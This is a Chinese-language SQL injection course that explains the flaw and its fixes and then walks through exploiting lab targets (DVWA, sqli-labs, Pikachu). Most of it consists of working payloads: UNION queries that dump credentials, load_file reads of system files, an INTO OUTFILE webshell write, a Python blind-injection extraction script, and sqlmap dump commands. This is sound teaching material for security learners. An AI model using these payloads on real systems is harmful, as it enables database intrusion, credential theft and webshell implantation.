SQL注入漏洞

1.漏洞原理

1.1 漏洞描述

Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。

给那些想躲避摄像头的极客:SQL注入车牌: r/programming

举个栗子

去餐厅点菜,点菜要求为填空:

我要一份编号是 _的菜

正常点菜

你对服务员说:

我要一份编号是 5 的菜。

注入式点菜

你说:

我要一份编号是 5 的菜,顺便把厨房也炸了。 # 的菜。

如果服务员照单全收,后果不堪设想。

用户本来只能“点菜”,却被允许“下指令”

SQL 注入就像把“填空题”变成了“命令行”。 程序本来只想要数据,却被用户塞进了指令。

1.2 产生原因

SQL注入漏洞的产生需要满足以下两个条件

  • 参数用户可控:从前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

Web 程序三层架构

三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:

  • 界面层(User Interface layer)
  • 业务逻辑层(Business Logic Layer)
  • 数据访问层(Data access layer)。

区分层次的目的即为了“高内聚低耦合”的思想。在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构被应用于众多类型的软件开发。

由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:

  • 表示层。

  • 业务逻辑层(又称领域层)

  • 数据访问层(又称存储层)

拓扑结构如下图所示

img

在上图中,用户访问主页进行了如下过程:

  • 在 Web 浏览器中输入 www.shiyanlou.com 连接到实服务器。

  • 业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。

  • 脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql 语句。

  • 数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。

  • 业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。

  • 表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

在三层架构中,所有通信都必须要经过中间层,简单地说,三层架构是一种线性关系。

访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。

这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

1.3 测试方法

在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用, 也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and 1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测了!

1.4 修复建议

1. 参数化查询(Prepared Statement) 原理:SQL 结构与用户输入分离,输入只作为数据而非语句解析。 示例:cursor.execute("SELECT * FROM user WHERE id=%s", (uid,))

2. 禁止字符串拼接 SQL 原理:避免用户输入直接影响 SQL 语法结构。 示例:❌ "SELECT * FROM user WHERE name='"+name+"'"

3. 输入白名单校验 原理:只允许预期合法值进入 SQL,拒绝异常输入。 示例:if field not in ["id","name"]: reject()

4. 最小化数据库权限 原理:即使被注入,攻击面也因权限受限而大幅降低。 示例:Web 账号仅授予 SELECT/INSERT/UPDATE

5. 禁用多语句执行 原理:阻断 ; DROP TABLE 等多条 SQL 的利用方式。 示例:MySQL 禁止 allowMultiQueries=true

6. 错误信息隐藏 原理:防止通过报错信息推断表结构和数据库类型。 示例:前端返回“系统异常”,日志记录详细错误

7. WAF 拦截 原理:在请求层识别并阻断典型 SQL 注入 Payload。 示例:拦截包含 UNION SELECT 的请求

8. 禁用高危数据库函数 原理:减少注入成功后的进一步利用能力。 示例:禁用 xp_cmdshellload_file()

在这里插入图片描述

2.MySQL 预备知识

首先打开小皮面板,开启数据库,使用Navicat连接,执行以下语句创建一个示例数据库。

-- 1. 创建数据库
DROP DATABASE IF EXISTS student;
CREATE DATABASE student DEFAULT CHARSET=utf8mb4;
USE student;

-- 2. 创建 result 表
DROP TABLE IF EXISTS result;
CREATE TABLE result (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50),
    city VARCHAR(50),
    score INT
);

-- 3. 插入 10 条演示数据
INSERT INTO result (name, city, score) VALUES
('Alice',   'Beijing',   88),
('Bob',     'Shanghai',  92),
('Charlie', 'Guangzhou', 76),
('David',   'Shenzhen',  85),
('Eve',     'Hangzhou',  90),
('Frank',   'Nanjing',   67),
('Grace',   'Chengdu',   95),
('Heidi',   'Wuhan',     73),
('Ivan',    'Xian',      81),
('Judy',    'Suzhou',    99);

2.1 infomation_schema

在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面,这个库里面有很多表,这些表记录着Mysql数据库的相关信息,其中有几个表需要我们注意。

SCHEMATA表中SCHEMA_NAME保存着所有数据库的名字

可以使用如下的sql命令在information_schema数据库中查询所有数据库名

SELECT SCHEMA_NAME FROM information_schema.SCHEMATA

image-20260115153222204

TABLES表中保存着Mysql中所有的表名

可以使用如下sql语句查询出指定数据库的所有表

SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'student'

image-20260115153250491

COLUMNS表中保存了所有的列名

可以使用如下的方式查询到指定表的列名

SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME = 'result'

image-20260115153317408

从库名→表名→列名

SELECT SCHEMA_NAME FROM information_schema.SCHEMATA #库名
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'student' #表名
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME = 'result' #列名

2.2 MySQL(MariaDB)语句进阶操作

2.2.1 order by的用法

(1)将result表中的数据按照分数(score)从高到低进行排序:

select * from result order by score desc;

其中,desc表示降序(递减);如果从低到高(升序)进行排列,则可以将desc换成asc;如果不加此参数,默认情况下按升序方式排列。

image-20260115153636585

(2)分别尝试以下命令:

select id,name,score from result order by 1;

image-20260115153705543

正常显示以id升序排列的结果。

select id,name,score from result order by 2;

image-20260115153737762

正常显示以name升序排列的结果!

select id,name,score from result order by 3;

image-20260115153805669

正常显示以score升序排列的结果!

select id,name,score from result order by 4;

image-20260115153900153

报错!

从以上结果可以总结出,对于以下命令:

select c1,c2,...,cn from result order by M;

order by后面的数字(M)必须小于或等于n(数据库查询的字段数),才能正常显示。如果M>n,数据库就会报错。可以利用这个特点判断数据库查询的字段数。

注意:这句话的真实前提是:

⚠️ 攻击者并不知道后端 SQL 是怎么写的

正确的“攻击者视角”应当是这样的:

1.攻击者拿到的不是 SQL,而是一个 URL

比如:

http://www.test.com/news.php?id=1

后端真实 SQL(攻击者看不到)可能是:

SELECT id,name,score FROM result WHERE id = 1;

2.攻击者只能“猜”,不知道有几个字段

攻击者只能构造输入:

id=1 order by 1
id=1 order by 2
id=1 order by 3
id=1 order by 4

3.根据“是否报错”来推断字段数

输入 页面表现 结论
order by 1 正常 ≥1 列
order by 2 正常 ≥2 列
order by 3 正常 ≥3 列
order by 4 报错

所以推出字段数 = 3

在 SQL 注入场景中,当攻击者无法直接看到 SQL 语句、也不知道字段名和字段数量时,可以利用 order by M 的报错特性来推断 SELECT 语句中的字段数。

2.2.2 limit的用法

基本格式为:

limit M,N
//表示从第M+1条数据开始,顺序往下查询N条数据

limit M
//表示查询前M条数据

尝试执行以下两条命令:

select * from result limit 0,2;
//查询表中的前2条数据

image-20260115154841500

select id,name,score from result limit 1,3;
//从第2条数据起,往下查询3条数据的id、name和score字段

image-20260115155123560

常规业务数据库,可能有几十万条数据,不做限制可能返回几十万行,影响数据库正常服务。

另外,合法渗透一般要求获取数据不能超过50条。

2.2.3 union select的用法

UNION SELECT 是什么

UNION SELECT 用于把多个 SELECT 查询的结果合并成一个结果集返回。

数据库把它当成: “先查 A,再查 B,把两次查询的结果拼在一起显示”

结果列名以第一个 SELECT 为准

select * from result union select 1,2,3,4;

此语句的查询结果,即是select * from result和select 1,2,3,4查询结果的拼接。

image-20260115160549104

换个行更直观:

select * from result 
union 
select 1,2,3,4;

(2)尝试执行以下3条语句:

select id,name,score from result union select 1,2,3;

image-20260115160613905

正常显示!

select id,name,score from result union select 1,2;

image-20260115160646890

报错!

select id,name,score from result union select 1,2,3,4;

image-20260115160706856

报错!

从以上结果可以总结,对于以下命令:

select c1,c2,...,cn from result union select d1,d2,...dm;

后半句union select查询的字段数(m)必须与前半句select查询的字段数(n)相等,数据库才能正常显示结果。与order by相似,可以利用这个特点判断数据库查询的字段数。

(3)尝试执行下列语句

select id,city from result where id=1 and 1=2 union select name,score from result;

image.png

结果列名以第一个 SELECT 为准,看起来还是第一个SELECT的结果,但实际内容已经变成了第二个查询的结果。

在 SQL 注入中的这条语句的攻击意义是:

通过构造一个“前半句不返回数据”的查询,把页面显示位置完全让给 UNION SELECT,从而把想看的字段“塞到回显点”。

这就是常说的:

“利用 1=2 制造空结果集,确保回显来自 UNION”

从以上结果可以总结,在已知字段名的情况下,攻击者只要将该字段置于任何能够显示的位置,就可以暴露该字段的值。

2.2.4 union select结合information_schema数据库

MySQL(MariaDB)5.5以上版本自带information_schema数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。可以把information_schema数据库看作MySQL(MariaDB)的“目录”!

(1)尝试执行以下两条语句:

show databases;

select schema_name from information_schema.schemata;

image-20260115161809965

两条语句执行结果相同!

(2)尝试执行以下两组语句:

第一组:

use student;

show tables;

第二组:

select table_name from information_schema.tables where table_schema='student';

image-20260115161911601

两组命令执行结果相同!

3.SQL注入前置知识

3.1 判断是否存在 SQL 注入

3.1.1 什么是“回显 / 无回显”

  • 回显 页面会显示数据库查询结果、报错信息或明显的数据变化 → 适合 联合查询注入(UNION 注入)
  • 无回显 页面内容无明显变化,只能通过“真假差异 / 延迟”判断 → 适合 布尔盲注 / 时间盲注

3.1.2 常用布尔判断语句(基础探测)

id=1 and 1=1     -- 页面正常
id=1 and 1=2     -- 页面异常 / 无数据

若两者页面表现不同,说明:

输入内容影响了 SQL 逻辑,存在注入可能

3.1.3 OR 逻辑绕过示例(常见登录绕过)

id=1 or 1=1

原条件被 OR 恒真条件覆盖,导致原有过滤逻辑失效

3.1.4 不同引号场景的测试(判断注入类型)

id='1' or '1'='1'     -- 字符型注入(单引号)
id="1" or "1"="1"     -- 字符型注入(双引号)

判断后端 SQL 是否使用字符串拼接,同时可以判断引号类型,便于后续构造 payload

3.2 SQL 注释符(用于截断原 SQL)

3.2.1 单行注释

#          -- 单行注释(URL 中需编码为 %23)
-- 空格    -- 减号 减号 空格(必须有空格)

示例:

id=1 or 1=1--

作用:

将后面的原始 SQL 条件全部注释掉

3.2.2 多行注释

/* 注释内容 */

常见绕过写法:

/**/

用途:

  • 绕过 WAF
  • 替代空格
  • 构造复杂 payload

3.3 SQL 常用信息获取函数(用于获取信息)

3.3.1 用户与权限相关

system_user()      -- 系统用户
user()             -- 数据库用户名
current_user()     -- 当前权限用户
session_user()     -- 当前连接用户

3.3.2 数据库与环境信息

database()                 -- 查询当前数据库名
version()                  -- MySQL 版本
@@datadir                  -- 数据库存储路径
@@basedir                  -- MySQL 安装路径
@@version_compile_os       -- 操作系统类型

常用于:

  • 判断数据库类型
  • 判断权限等级
  • 判断是否具备文件读写条件

3.3.3 文件读取相关函数

load_file('/etc/passwd')
load_file('C:\\windows\\win.ini')

前提条件:

  • FILE 权限
  • 已知路径
  • 文件可被 MySQL 读取

3.4 SQL 注入的标准流程

3.4.1 判断是否存在注入 & 注入类型

  • 数字型 / 字符型
  • 有回显 / 无回显

3.4.2 判断字段数(UNION 注入前提)

order by 1
order by 2
order by 3

直到报错为止:

最大不报错的数字 = 字段数

3.4.3 确定回显点

union select 1,2,3

观察哪个数字显示在页面上,即为可控回显列

3.4.4 枚举环境信息

union select 1,@@version
union select 1,database()

3.4.5 枚举库表字段(information_schema)

select table_name from information_schema.tables where table_schema=database();

3.4.6 敏感数据读取

union select 1,load_file('C:\\windows\\win.ini')#

3.4.7 文件写入 / WebShell(高危)

select '<?php phpinfo();?>' into outfile '/var/www/html/shell.php';

有严格的前提条件:

  • FILE 权限
  • 写入路径可控
  • Web 服务可访问

3.4.8 编码绕过

  • HEX 编码
  • URL 编码
  • CHAR() 构造

可以绕过:

  • 引号过滤
  • 关键字过滤
  • WAF 规则

3.5 SQL 注入分类

3.5.1 UNION Query SQL Injection

  • 有回显
  • 利用 UNION SELECT
  • 最直观、效率最高

3.5.2 Stacked Queries SQL Injection(堆叠查询)

堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。

  • 支持多语句执行
  • 可直接执行 INSERT / DROP / UPDATE
  • MySQL 默认较少开启

3.5.3 Boolean-based Blind SQL Injection

  • 页面真假差异
  • 通过逻辑判断逐位猜数据

3.5.4 Time-based Blind SQL Injection

  • 无回显
  • 通过 sleep() 判断真假
  • 成功率高但速度慢

3.6 按请求来源区分注入点

  • GET 注入 URL 参数直接注入
  • POST 注入 表单 / JSON 数据
  • HTTP 头部注入
    • User-Agent
    • Referer
    • X-Forwarded-For

3.7 按数据类型区分注入方式

3.7.1 数字型注入

select * from users where id=1

特点:

  • 无需引号
  • 常见于 id、page、type 等参数

3.7.2 字符型注入

select * from users where username='admin'

特点:

  • 需要闭合引号
  • 单引号 / 双引号差异明显

3.7.3 搜索型注入(LIKE 注入)

select * from news where title like '%关键词%'

特点:

  • 常结合 %
  • 绕过方式多
  • WAF 命中率低

3.8 SQL注入的本质

SQL 注入的本质,是用户输入被当成 SQL 语法执行,防御的本质,是让用户输入永远只作为“数据”。

4.UNION联合注入

4.1 注入原理

创建表

create table admin(
id int PRIMARY key auto_increment,
username VARCHAR(255) not null,
password VARCHAR(255) not null
) ENGINE=innodb default charset=utf8;

insert into admin(username, password) value
('张三','123456'),
('李四','654321');

image-20260119131640080

查询表

select * from admin where username='张三';

image-20260119131835914

如果不知道用户名的情况下,就不会查询到任何结果

select * from admin where username='不知道';

image-20260119131924939

可以使用union查询在结果后面拼接一个内容

select * from admin where username='不知道'
union
select 1,2,3;

image-20260119132113767

拼接上去的内容列数必须要与之前查询结果显示的列数相同,不然会报错

image-20260119132147791

在拼接上去的内容里面可以插入一些查询函数,就可以获取一些信息

select * from admin where username='不知道'
union
select system_user(),database(),version();

image-20260119132346777

4.2 DVWA靶场案例

内部靶场(http://ctf.eagleslab.com:41100/)创建DVWA容器,或者用小皮面板本地搭建(https://www.cnblogs.com/tuuli/p/17586575.html)

image-20260119132701979

DVWA靶场默认账号密码,默认为admin/password

第一次创建登录后需要创建一下数据库

image-20260119132931352

分析代码

image.png

使用$_REQUEST 直接接收 id 参数,且没有进行过滤,且可以接收 cookie get post 这些传递方法。当传入 1 的时,页面正常返回用户信息。 如果传入 1' 语法会出现语句 You have an error in your SQL syntax;这种英文是mysql 语法错误提示。

image.png

根据代码分析'$id'是属于字符串类型 所以在进行 SQL 注入检测的时候要注意匹配字符串

4.2.1 判断SQL注入

输入 1'and '1'='1页面返回用户信息 1'and '1'='2 页面返回不一样的信息。基本可以确定存在 SQL注入漏洞

image-20260119133602618

4.2.2 判断字段数

使用语句 order by 确定当前表的字符数 order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,一直如此类推直到页面出错。正确的字段数是出错数字减少 1

image-20260119133830434

order by 3报错了,说明order by 2是正确的,只有两个回显位。

image-20260119133854203

4.2.3 获取敏感信息

获取可以得到回显的位置,在此案例中两个字段都可以回显

image-20260119134019135

获取当前数据库名称,

1' union select 1,database() --

image-20260119134955793

也可以使用group_concat()可以将多组数据进行合并,0x3A是冒号的HEX编码,char(58)是冒号的ASCII 码

1' union select 1,group_concat(database(),0x3A,version()) -- 
1' union select 1,group_concat(database(),char(58),version()) --

image-20260119142845594

知道当前数据库是dvwa

group_concat()是 MySQL 中用于“把多行数据合并成一行字符串”的聚合函数

在只回显一行的场景下,group_concat()可以把多行 → 一行,把多字段 → 一个字符串

4.2.4 获取表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' -- 
-1' union select 1,table_name from information_schema.tables where table_schema='dvwa' --

image-20260119144102277

知道当前数据表名是guestbook,users

4.2.5 获取字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --

image-20260119144219872

敏感字段为user,password

4.2.6 获取字段内容

-1' union select 1,group_concat(user,0x3A,password) from users limit 0,1 --  
-1' union select password,user from users --

image-20260119150626298

现在已经拿到了用户和密码,但密码是加密的,可使用md5自行解密

https://www.cmd5.com/

https://www.somd5.com/

4.2.7 小实验

完成DVWA-SQL Injection的low、Medium、high难度的sql注入题目

4.3 sqli-labs靶场案例

内部靶场(http://ctf.eagleslab.com:41100/)创建sqli-labs容器,或者用小皮面板本地搭建(https://blog.csdn.net/qq_27249127/article/details/136258520)

4.3.1 注入过程

首先输入正确的url:

/Less-1/?id=1

能够知道本关的查询结果是会回显的

image-20260119152412406

然后输入看看是否有报错

/Less-1/?id=1'

image-20260119152508342

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关是闭合单引号

#下面两步找列数
/Less-1/?id=1' order by 3 --+
/Less-1/?id=1' order by 4 --+

image-20260119153210376

#确定哪个字段有回显
/Less-1/?id=-1' union select 1,2,3--+
#确定当前数据库
/Less-1/?id=-1' union select 1,2,database()--+

image-20260119153157802

#爆出当前数据库内的所有表名
/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20260119153349289

#爆出当前数据库user表的所有列名
/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

image-20260119153425730

#爆出当前数据库user表所有username和password
/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
/Less-1/?id=-1' union select 1,2,group_concat(username,char(58),password) from users--+

image-20260119153457335

image-20260119153713275

4.3.1 小实验

1.完成sqli-labsless1-less4的sql注入题目

2.完成sqli-labsless11-less12的sql注入题目

5.盲注

5.1 什么是盲注(Blind SQL Injection)

盲注是指:

SQL 注入点存在,但页面无法直接回显数据库查询结果或错误信息,只能通过页面“间接变化”来判断 SQL 是否被执行。

与联合注入不同:

  • 页面 不显示查询结果
  • 页面 不显示数据库报错
  • 攻击者只能通过 逻辑真假或时间延迟 推断数据

5.1.1 盲注出现的场景

  • 页面只返回:
    • “操作成功 / 操作失败”
    • “页面存在 / 页面不存在”
  • 后端对错误进行了统一处理
  • 使用了 try...catch 或自定义错误页

5.1.2 盲注与联合注入的核心区别

对比维度 联合注入(UNION) 盲注
是否有回显
是否看到数据 直接看到 间接判断
利用方式 UNION SELECT 逻辑 / 时间
利用效率
技术难度

能直接“看数据”的是联合注入,看不到数据只能“猜”的是盲注。

5.1.3 盲注与联合注入的使用顺序

通常优先级是:

有回显 → UNION 注入
无回显但有真假差异 → 布尔盲注
无回显无真假差异 → 时间盲注

5.2 布尔型盲注(Boolean-based Blind SQL Injection)

5.2.1 布尔盲注基础

5.2.1.1 布尔盲注的原理

通过构造 条件为真 / 条件为假 的 SQL 语句, 观察页面返回结果是否不同,从而逐步推断数据库信息。

5.2.1.2 判断是否存在布尔盲注
id=1 and 1=1    -- 页面正常
id=1 and 1=2    -- 页面异常

若两次页面显示不同:

说明 SQL 条件生效,存在布尔型注入

5.2.1.3 布尔盲注的典型判断方式

常用函数与条件:

length(database())=5 #判断当前数据库名的长度是否为 5 个字符。
substr(database(),1,1)='s' #判断当前数据库名的 第 1 个字符是否为 s。
ascii(substr(database(),1,1))>100 #将数据库名第 1 个字符转换为 ASCII 码,并判断其大小关系。用于二分法盲注,以提高逐字符枚举效率。

示例:

id=1' and ascii(substr(database(),1,1))>100

根据页面真假变化,逐位猜解数据库名。

5.2.1.4 布尔盲注的特点
  • 不依赖 UNION
  • 不需要错误信息
  • 速度慢,但成功率高
  • 适用于防护较严的网站

5.2.2 DVWA靶场布尔型盲注案例

在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

image.png

5.2.2.1 判断布尔型盲注

输入SQL注入检测语句,判断页面是否不一样,如果不一样大概会存在SQL注入漏洞。

image.png

image.png

也可以使用sleep()函数查看是否会存在时间盲注

1' and sleep(5) --

image.png

5.2.2.2 通过布尔型盲注获取数据库信息

获取数据库长度

1' and length(database()) =4 --

substring(<字符串>,<开始截取>,<截取长度>) 通过将查询到的结果的字母进行比对,可以通过布尔型盲注获取数据的内容,以下代码可以确认数据库名第一个字母是d,如果不是d将会显示另外一个不匹配的页面

1' and substring(database(),1,1)='d' --

image.png

接下来可以查询第二个字母,并且以此类推,可以将需要查询的字符转换为ascii字符编码,然后进行大于小于比对加快查询速度,通过对照ascii码表可以很快锁定字符是什么

1' and ascii(substring(database(),1,1))>97 --

image.png

5.2.2.3 使用burpsuite工具

Burp Suite 的 Intruder(入侵者)模块提供了四种攻击模式,用于不同的自动化测试场景。以下是各模式的详细说明:

1. Cluster Bomb(集束炸弹模式)

核心特点:对所有参数进行笛卡尔积式的全组合测试

  • 工作原理:每个参数使用独立的字典,第一参数的每个值都会与第二参数的所有值组合,然后进行嵌套循环测试。例如,用户名字典有3个值,密码字典有3个值,就会产生 3×3=9 种组合。
  • 适用场景:最常用的暴力破解模式,适合用户名和密码均未知的情况,穷举所有可能的凭证组合。
  • 注意事项:计算量随字典大小呈指数级增长,超大字典会导致请求数量爆炸,需评估目标系统承受能力。

2. Sniper(狙击手模式)

核心特点单点突破,逐个参数测试

  • 工作原理:使用一个字典,依次对每个参数位置进行替换测试。例如标记了两个参数位置,则先对位置1遍历字典,再对位置2遍历字典,每次只修改一个参数
  • 适用场景:单一参数测试,如未知密码但已知用户名时爆破密码字段,或测试单个参数的各种注入Payload。

3. Battering Ram(攻城锤模式)

核心特点多点同步,同值测试

  • 工作原理:使用一个字典,同时将相同的Payload值应用到所有标记位置。例如对Cookie中的多个字段填充相同值。
  • 适用场景:需要多个参数保持相同值的场景,如某些CSRF Token、Cookie组合或统一会话标识的场景。

4. Pitchfork(音叉/草叉模式)

核心特点多集并行,一一对应

  • 工作原理:每个参数使用独立的字典,但按顺序一一配对测试。两个字典的第1行组合、第2行组合...测试次数由字典行数少的决定。
  • 适用场景:参数间存在已知对应关系时,如预置的用户名-密码对、ID-名称映射等。

模式对比总结

模式 字典数量 组合方式 典型场景
Sniper 1个 逐个位置测试 单参数爆破
Battering Ram 1个 所有位置同值 Cookie/Token同步
Pitchfork 多个(2-4个) 一一对应配对 已知凭据对应关系
Cluster Bomb 多个(2-4个) 笛卡尔积全组合 未知凭据暴力破解

题目实操:

使用burpsuite抓取提交的数据包,通过如下代码获取表名

1' and substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='d' --

选择cluster bomb模式,并且在如下两个位置处插入变量,方便后续通过字典进行穷举

image.png

第一个变量是字符的长度,可以适当设置长一些

image.png

第二个变量选择从字符中遍历,添加a-z即可

image-20260120105717764

开启进行测试

image.png

将得到的结果进行整理,过滤只需要响应为200的结果,可以获取到想要的数据,得到有一个表名为guestbook

image.png

通过此方式可以将数据库中的敏感信息全部查询出来,第二个数据表名为users

1' and substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='d' --

image-20260120124605794

通过这样的方式,可以将数据库中的信息全部获取

5.2.2.4 使用python脚本
import requests
s = requests.Session()
#payload应该包括所有大小写字母和其他字符,这里是简化使用
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890' 
#此处提交需要用户登录的cookie,可以使用burpsuit抓取
headers = {'Cookie': 'security=low; PHPSESSID=3llc9rmofiosima88ms6mqe302'}
#url为dvwa中sql盲注地址
url="http://ctf.eagleslab.com:41195/vulnerabilities/sqli_blind/"

for j in range(1,50):
    databaseLen_payload = '?id=1\' and length(database())='+str(j)+' %23&Submit=Submit#'
    # 所有payload里的注释#要用url编码%23表示,因为这是直接添加在url里的
    if 'User ID exists in the database.' in s.get(url+databaseLen_payload, headers=headers).text:
        databaseLen = j
        break
print('database_lenth: '+str(databaseLen))
databse_name = ''
for j in range(1,databaseLen+1):
    for i in payloads:
        databse_payload = '?id=1\' and substr(database(),'+str(j)+',1)=\''+str(i)+'\' %23&Submit=Submit#'

        if 'User ID exists in the database.' in s.get(url+databse_payload, headers=headers).text:
            databse_name += i
print('database_name: '+databse_name)

# 3.爆破表的个数
for j in range(1,50):
    tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())='+str(j)+' %23&Submit=Submit#'
    if 'User ID exists in the database.' in s.get(url+tableNum_payload, headers=headers).text:
        tableNum = j
        break
print('tableNum: '+str(tableNum))

# 4.爆出所有的表名
# (1)爆出各个表名的长度
for j in range(0,tableNum):
    table_name = ''
    for i in range(1,50):
        tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'

        if 'User ID exists in the database.' in s.get(url+tableLen_payload, headers=headers).text:
            tableLen = i
            print('table'+str(j+1)+'_length: '+str(tableLen))

            # (2)内部循环爆破每个表的表名
            for m in range(1,tableLen+1):
                for n in payloads:
                    table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
                    if 'User ID exists in the database.' in s.get(url+table_payload, headers=headers).text:
                        table_name += n
            print('table'+str(j+1)+'_name: '+table_name)

image-20260120104636609

5.2.2.5 使用sqlmap

见后续

5.2.3 小实验

完成上述实操,以及sqli-labs less7、less8Pikachu布尔盲注关卡

Tips:Pikachu用户名可以用lili测试

5.3 时间型盲注(Time-based Blind SQL Injection)

5.3.1 时间型注入基础

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。 在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒根据这个原理来判断存在 SQL 时间注入。

5.3.1.1 时间盲注的原理

通过构造 条件成立时执行延时函数 的 SQL,根据页面响应时间是否延迟来判断条件真假。

5.3.1.2 判断是否存在时间盲注
id=1 and sleep(5) -- 
#不同数据库有不同的延时函数,MySQL / MariaDB是sleep(),SQL Server是id=1; WAITFOR DELAY '0:0:5'--

如果页面延迟约 5 秒返回:

说明 SQL 被执行,存在时间型注入

5.3.1.3 时间盲注的常见写法
id=1 and if(1=1,sleep(5),0)
id=1 and if(substr(database(),1,1)='s',sleep(5),0)
5.3.1.4 时间盲注的特点
  • 页面内容无任何变化
  • 只能依赖时间差
  • 速度最慢
  • 抗干扰能力强
5.3.1.5 示例

查看网页响应时间,可以确认判断内容是否正确,下面两张图显示的是正确和错误时间上的差异

image.png

image.png

5.3.2 Pikachu靶场时间型盲注案例

时间注入源码分析

// 检查是否存在'submit'参数且'name'参数不为空
if(isset($_GET['submit']) && $_GET['name']!=null){
    // 获取用户输入的name参数值,直接赋值给变量,未做任何过滤或转义
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    // 构造SQL查询语句,将用户输入直接拼接到SQL中
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    // 执行SQL查询,mysqli_query函数不会打印详细错误信息
    $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
    // 如果查询成功且返回一行结果
    if($result && mysqli_num_rows($result)==1){
        // 遍历结果集(实际只有一行)
        while($data=mysqli_fetch_assoc($result)){
            // 从结果数组中提取id字段
            $id=$data['id'];
            // 从结果数组中提取email字段
            $email=$data['email'];
            // 设置HTML输出内容(无论输入什么,返回信息都相同,增加了判断难度)
            //这里不管输入啥,返回的都是一样的信息,所以更加不好判断
            $html.="<p class='notice'>i don't care who you are!</p>";
        }
    // 如果查询失败或没有返回结果
    }else{
        // 设置相同的HTML输出内容
        $html.="<p class='notice'>i don't care who you are!</p>";
    }
}

使用sqlmap对注入检测(pikachu)

python sqlmap.py -u "http://ctf.eagleslab.com:41197/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch

-u 表示检测的url -p 指定的检测参数 -v 显示调试模式 --technique=T 检测方法为时间注入

image-20260120152712414

sqlmap 检测为时间注入,接下来通过这个注入获取数据库敏感信息。

python sqlmap.py -u "http://ctf.eagleslab.com:41197/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch

--current-user 获取用户 --current-db 获取数据库名 --batch 使用默认模式 就是自动帮你敲回车

image.png

python sqlmap.py -u "http://ctf.eagleslab.com:41197/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch --tables -D pikachu

-D 指定数据库 --tables 获取表

image.png

python sqlmap.py -u "http://ctf.eagleslab.com:41197/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch -D pikachu -T users --columns

-T 指定表 --columns 获取字段名

image.png

python sqlmap.py -u "http://ctf.eagleslab.com:41197/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch -D pikachu -T users -C "id,username,password" --dump

-C 指定查询的字段 --dump 导出数据

image.png

5.3.2 小实验

完成上述实操,以及sqli-labs less9、less10 ,可以使用sqlmap完成。

再尝试使用sqlmap对DVWA进行注入

tips: --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low"

6.sqlmap

